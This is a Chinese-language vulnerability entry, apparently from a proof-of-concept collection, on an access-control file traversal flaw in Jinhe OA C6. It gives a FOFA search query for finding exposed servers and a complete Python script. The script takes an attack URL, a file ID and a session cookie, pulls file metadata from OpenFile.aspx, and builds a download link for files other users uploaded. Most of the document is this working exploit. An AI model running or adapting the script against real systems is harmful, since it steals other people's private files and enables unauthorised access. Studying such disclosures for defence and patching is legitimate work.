金和OA C6 后台越权敏感文件遍历漏洞

金和OA C6 存在后台越权敏感文件遍历漏洞，普通用户通过遍历特殊参数可以获取其他用户上传的敏感文件

FOFA:

app="金和网络-金和OA"

详情可以看：https://mp.weixin.qq.com/s/90HM3LqODBN35iqRBRE1HA

poc.py：

import requests
import sys
import random
import re
import base64
import time
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
    print('+------------------------------------------')
    print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')
    print('+  \033[34mGithub : https://github.com/PeiQi0                                 \033[0m')
    print('+  \033[34m公众号  : PeiQi文库                                                   \033[0m')
    print('+  \033[34mVersion: 金和OA C6                                                  \033[0m')
    print('+  \033[36m使用格式:  python3 poc.py                                            \033[0m')
    print('+  \033[36mUrl         >>> http://xxx.xxx.xxx.xxx                             \033[0m')
    print('+------------------------------------------')

def POC_1(target_url, file_id, cookie):
    vuln_url = target_url + "/C6/control/OpenFile.aspx?id={}&name=&type=pdf".format(file_id)
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
        "Content-Type": "application/x-www-form-urlencoded",
        "Cookie":cookie
    }
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
        print("\033[36m[o] 正在请求 Url: {}\033[0m".format(vuln_url))
        if "strFilePath =" in response.text and response.status_code == 200:
            strFilePath = re.findall(r"var strFilePath = '(.*?)';", response.text)[0]
            strFileType = strFilePath[-3:]
            strFileIDCode = re.findall(r"var strFileIDCode='(.*?)';", response.text)[0]
            strId = re.findall(r"var strId = '(.*?)';", response.text)[0]
            sid = re.findall(r'ASP.NET_SessionId=(.*?);', cookie)[0]
            if strFilePath != "":
                print("\033[36m[o] 目标 {} 存在漏洞, 获取文件信息:\n[o] 文件路径：{}\n[o] 文件类型：{}\n[o] 文件ID code：{}\n[o] 文件编号：{}\033[0m".format(target_url, strFilePath, strFileType,strFileIDCode, strId ))
                print("\033[32m[o] 文件下载链接为: {}/C6/JHSoft.Web.CustomQuery/uploadFileDownLoad.aspx?Decrypt=&FileID={}&FileIDCode={}&sid={}".format(target_url, strId, strFileIDCode, sid))
            else:
                print("\033[31m[x] 目标 {} 文件不存在     \033[0m".format(target_url))
        else:
            print("\033[31m[x] 目标 {} 不存在漏洞     \033[0m".format(target_url))

    except Exception as e:
        print("\033[31m[x] 请求失败 \033[0m", e)


if __name__ == '__main__':
    title()
    target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
    file_id = str(input("\033[35mFile_id >>> \033[0m"))
    cookie = str(input("\033[35mCookie  >>> \033[0m"))
    POC_1(target_url, file_id, cookie)